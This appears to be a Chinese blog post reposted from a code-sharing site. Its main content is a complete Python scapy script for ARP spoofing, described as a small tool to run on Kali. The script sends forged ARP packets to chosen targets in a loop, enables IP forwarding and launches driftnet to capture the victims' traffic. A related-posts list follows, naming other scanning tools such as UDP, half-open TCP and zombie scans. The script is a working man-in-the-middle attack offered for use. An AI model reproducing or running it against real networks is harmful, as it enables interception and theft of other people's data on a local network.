在kali中使用

from scapy.all import *
import optparse
import os

def send(pkt,interface):
    for p in pkt:
        sendp(p,iface=interface)

def req(targets,source):
    for target in targets:
        tr_mac=getmacbyip(target)
        pkt=Ether(dst=tr_mac)/ARP(pdst=target,psrc=source)
        yield pkt

def rep(targets,source):
    for target in targets:
        tr_mac=getmacbyip(target)
        pkt=Ether(dst=tr_mac)/ARP(pdst=target,psrc=source,op=2)
        yield pkt

def main():
    parser=optparse.OptionParser('%prog '+"[+]-i <interface> [+]-t <targets> [+]-s <source> [+]-m <mode> [+]-r <transmit>")
    parser.add_option('-i',dest='interface',default='eth0',type='string',help='[+]Interface(default eth0)')
    parser.add_option('-t',dest='targets',type='string',help='[+]Target host,split with \',\'')
    parser.add_option('-s',dest='source',type='string',help='[+]Source host')
    parser.add_option('-m',dest='mode',default='req',type='string',help='[+]Request(req) or Reply(rep)')
    parser.add_option('-r',dest='transmit',default='no',type='string',help='[+]Transmit(yes or no)')
    (options,args)=parser.parse_args()
    interface=options.interface
    targets=str(options.targets).split(',')
    source=options.source
    mode=options.mode
    transmit=options.transmit

    if((targets[0]==None) or (source==None)):
        print('[-]Please input targets and source')
        exit(0)

    if(transmit=='yes'):
        os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')
        os.system("gnome-terminal -- driftnet -i "+interface)

    if(mode=='req'):
        print('----------------')
        try:
            while True:
                pkt=req(targets,source)
                send(pkt,interface)
        except KeyboardInterrupt:
            print('---------------')
            os.system('echo 0 > /proc/sys/net/ipv4/ip_forward')
            print('Finished')
    else:
        print('-----------------')
        try:
            while True:
                pkt=rep(targets,source)
                send(pkt,interface)
        except KeyboardInterrupt:
            print('---------------')
            os.system('echo 0 > /proc/sys/net/ipv4/ip_forward')
            print('Finished!')

if __name__=='__main__':
    main()

使用说明

开始程序

转发成功

github:https://github.com/zmqq/pytools/tree/master/arpspoof

 

Python3 小工具-ARP欺骗的更多相关文章

  1. Python3 小工具-ARP扫描

    from scapy.all import * import optparse import threading import os def scan(ipt): pkt=Ether(dst='ff: ...

  2. Cain工具ARP欺骗攻击

    OS:Win7工具:Cainhttp://pan.baidu.com/s/1xq9lW 密码:409z 网络:本机和被攻击电脑有线连接路由器. Cain是有名的局域网嗅探工具,有丰富的功能.比如可以解 ...

  3. python3 小工具

    扫描IP的端口是否开放:Porttest.py # -*- coding: utf-8 -*- import sys import os import socket #扫描 def scanport( ...

  4. ip地址查询python3小工具_V0.0.1

    看到同事在一个一个IP地址的百度来确认导出表格中的ip地址所对应的现实世界的地址是否正确,决定给自己新开一个坑.做一个查询ip“地址”的python小工具,读取Excel表格,在表格中的后续列输出尽可 ...

  5. Python3 小工具-UDP扫描

    from scapy.all import * import optparse import threading def scan(target,port): pkt=IP(dst=target)/U ...

  6. Python3 小工具-僵尸扫描

    僵尸机的条件: 1.足够闲置,不与其他机器进行通讯 2.IPID必须是递增的,不然无法判断端口是否开放 本实验僵尸机选择的是Windows2003 from scapy.all import * im ...

  7. Python3 小工具-TCP半连接扫描

    from scapy.all import * import optparse import threading def scan(ip,port): pkt=IP(dst=ip)/TCP(dport ...

  8. Python3 小工具-UDP发现

    from scapy.all import * import optparse import threading import os def scan(ip): pkt=IP(dst=ip)/UDP( ...

  9. Python3 小工具-TCP发现

    from scapy.all import * import optparse import threading import os def scan(ip): pkt=IP(dst=ip)/TCP( ...

随机推荐

  1. angularjs ng-app="angular_app" ng-controller="angular_controller" ng-init="findAll()"

    ng-app="angular_app" 范围 ng-controller="angular_controller" 控制器 ng-init="fin ...

  2. jQuery mouseove和mouseout事件不断触发

    关于锋利的jQuery第三章结尾提示图片效果(鼠标放在图片上会出现一个大图跟随鼠标移动)实现时mouseove和mouseout事件不断触发的问题 html <ul class="bo ...

  3. 07.安装及使用gitlub

    博客为日常工作学习积累总结: 1.安装gitlub sudo yum install -y curl policycoreutils-python openssh-server openssh-cli ...

  4. react-router-dom和本地服务本地开发 (node、webpack)

    场景 使用react 做开发,避免会使用react-router React Router 已经是V4的版本 React Router 目前已经被划分成了三个包:react-router,react- ...

  5. SQL Server 2012 - 动态SQL查询

    动态SQL的两种执行方式:EXEC @sql 和 EXEC sys.sp_executesql @sql DECLARE @c_ids VARCHAR(200) SET @c_ids ='1,2' - ...

  6. MVC Controller 基类 BaseController 中的 Request

    今天修复mvc中的一个bug,需求是每个页面要获取当前URL链接中 host首是否正确,我把获取url的方法写到了Controller的基类BaseController(BaseController继 ...

  7. JSP + servlet 源码 实现文件的上传

    JSP页面 upLoad.jsp _________________________________ <%@ page language="java" import=&quo ...

  8. linux操作之ntsysv

    命令nysysv , 提示Command nod found  先在命令行输入 export PATH=/usr/bin:/usr/sbin:/bin:/sbin:/usr/X11R6/bin:    ...

  9. S3C2440上LCD驱动(FrameBuffer)实例开发讲解(一)

    一.开发环境 主  机:VMWare--Fedora 9 开发板:Mini2440--64MB Nand, Kernel:2.6.30.4 编译器:arm-linux-gcc-4.3.2 二.背景知识 ...

  10. s3c2440中断控制器操作

    一.ARM中断体系结构 arm有7中异常工作模式 用户模式.快中断模式.管理模式.数据访问终止模式.中断模式.系统模式.未定义指令终止模式. 几种模式有什么不同呢, 1.不同的寄存器 2.不同的权限 ...